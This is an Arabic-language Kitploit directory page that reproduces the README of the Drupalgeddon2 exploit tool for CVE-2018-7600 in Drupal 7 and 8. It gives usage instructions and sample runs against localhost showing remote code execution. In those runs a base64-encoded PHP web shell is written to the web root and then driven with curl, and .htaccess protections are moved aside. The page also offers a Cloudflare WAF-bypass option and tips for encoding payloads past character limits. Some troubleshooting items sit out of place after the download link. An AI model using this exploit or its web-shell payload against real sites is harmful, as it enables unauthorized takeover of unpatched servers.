Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Drupalgeddon2 — استغلال لـ Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
أدوات/GitHubGitHub/dreadlocked/drupalgeddon2
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراق
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

استغلال لـ Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

عرض المستودع
600169منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

يدعم:

  • دروبال < 8.3.9 / < 8.4.6 / < 8.5.1 ~ رابط user/register، مهاجمة معامل account/mail و #post_render، باستخدام دالة passthru في PHP
  • دروبال < 7.58 ~ رابط user/password، مهاجمة نموذج triggering_element_name ومعامل #post_render، باستخدام دالة passthru في PHP
  • يعمل مع أوامر مباشرة (تُعرف بطريقة بدون ملف) أو يكتب شيل PHP إلى جذر الويب (./) أو الأدلة الفرعية (./sites/default/ و ./sites/default/files/)
  • يدعم الأهداف لينكس و ويندوز
  • يكتشف إصدار دروبال تلقائياً (أو يخمن تخميناً جيداً!)

تم اختيار طريقة user/register لدروبال v8.x، لأنها ستعيد HTTP 200 وتُظهر الإخراج في استجابة JSON data (قم بإلغاء تعليق الكود لطريقة timezone/#lazy_builder، والتي ستعيد HTTP 500 وعمياء!) (مزيد من المعلومات)

المؤلفون:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

ملاحظات:

  • للمستخدمين/الإعدادات المتقدمة يوجد استغلال أكثر قابلية للتخصيص. راجع قسم drupalgeddon2-customizable-beta.rb
  • قبل فتح مشكلة، يرجى قراءة قسم استكشاف الأخطاء في النهاية. شكراً!

الاستخدام:

root@kitploit:~
$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

يمكن إضافة المعامل --verbose و --authentication بأي ترتيب بعد وكلاهما اختياري. إذا تم تحديد --authentication، فسيُطلب منك إدخال:

  • اسم المستخدم،
  • كلمة المرور،
  • اسم حقل النموذج لاسم المستخدم،
  • اسم حقل النموذج لكلمة المرور،
  • مسار URL لصفحة تسجيل الدخول على الويب، مثلاً user/login
  • لاحقة اختيارية تُلحق بعد بيانات الاعتماد في إرسال النموذج، مثلاً form_id، إلخ.

هذا لدعم استغلال مواقع الويب التي تتطلب أولاً تسجيل دخول قائم على POST وتستجيب بملف تعريف ارتباط جلسة (session cookie) بعد المصادقة الناجحة.

مثال لدروبال v8.x

دروبال v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

مثال لدروبال v7.x

دروبال < v7.58

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

أوامر مباشرة / شيل غير PHP (تُعرف بطريقة بدون ملف)

إذا كنت لا ترغب في محاولة كتابة شيل PHP على خادم الويب، قم بتعديل الملف كما هو موضح (سيعود إلى الطريقة الافتراضية إذا لم يتمكن من العثور على موقع قابل للكتابة على أي حال):

root@kitploit:~
try_phpshelltryphpshell = false

مثال

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

دعم البروكسي

لدعم البروكسي (مثل Burp)، قم بتعديل الملف واستبدال القيم الخاصة بك. مثال:

root@kitploit:~
proxy_addr = "192.168.0.130"
proxy_port = 8080

تجريبي لكن قابل للاستخدام: drupalgeddon2-customizable-beta.rb

drupalgeddon2-customizable-beta.rb مخصص للمستخدمين الأكثر تقدماً لأنه أكثر قابلية للتخصيص. يتيح لك تحديد بعض المعاملات الإضافية مثل طريقة PHP المستخدمة (ليس فقط system() أو passthru()) وطريقة الوصول إلى نموذج user/password.

أمثلة الاستخدام:

root@kitploit:~
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
    -u, --url URL                    [Required] Service URL
    -v, --version VERSION            [Required] Target Drupal version {7,8}
    -c, --command COMMAND            [Required] Command to execute
    -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
        --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
        --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
    -h, --help                       Prints this help

استكشاف الأخطاء:

  • عند الحصول على خطأ من نوع "LoadError" cannot load such file، قم بتشغيل sudo gem install <التابع المفقود>. على وجه الخصوص، قد تحتاج إلى تثبيت التابع highline باستخدام sudo gem install highline

  • قد يعيد الهدف التوجيه إلى مسار آخر يوجد به دروبال (مثل استجابات HTTP 30x)

    • الحل: تأكد من استخدام مسار دروبال الصحيح
  • توجد قيود على الأحرف المسموح استخدامها في الحمولة/الأمر

    • الحل: هذا بسبب كيفية رؤية الثغرة الأمنية لها وتشفيرها لطلب URL. قم بتشفير الحمولة وفك تشفيرها على الهدف. مثل base64
  • إذا كان الهدف لينكس ولا يستخدم "GNU base64" فقد يكون إصدار BSD (أو قد لا يكون مثبتاً تماماً!)

    • الحل: استخدم base64 -D (بدلاً من base64 -d) أو استخدم الطريقة بدون ملف
  • إذا كان الهدف يستخدم ويندوز، فإن كتابة شيل PHP تفشل دائماً

    • الحل: استخدم الطريقة بدون ملف. وذلك لأن الأنابيب توجه إلى برنامج يونكس، بدلاً من استخدام certutil أو PowerShell
  • دروبال v8.x - ./.htaccess سيمنع تنفيذ أي نصوص PHP في ./sites/default/ إذا كان هذا هو المجلد القابل للكتابة


الروابط:

  • تنبيه دروبال SA-CORE-2018-002 ~ https://www.drupal.org/sa-core-2018-002
  • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
  • كتابة وبحث ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
  • أوامر cURL/مثال PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
تنزيل الأداة
  • الحل: انتقل إلى الطريقة بدون ملف
  • دروبال v8.x - "clean URL" غير مفعل على الهدف

    • الحل: غير متاح - غير معرض للخطر =(
  • دروبال v7.x - إذا كان نموذج /user/password معطلاً، فستحتاج إلى إيجاد نموذج آخر (تذكر تغيير الاستغلال!)

    • الحل: معامل form_id سيتغير اعتماداً على النموذج المستخدم لاستغلال الثغرة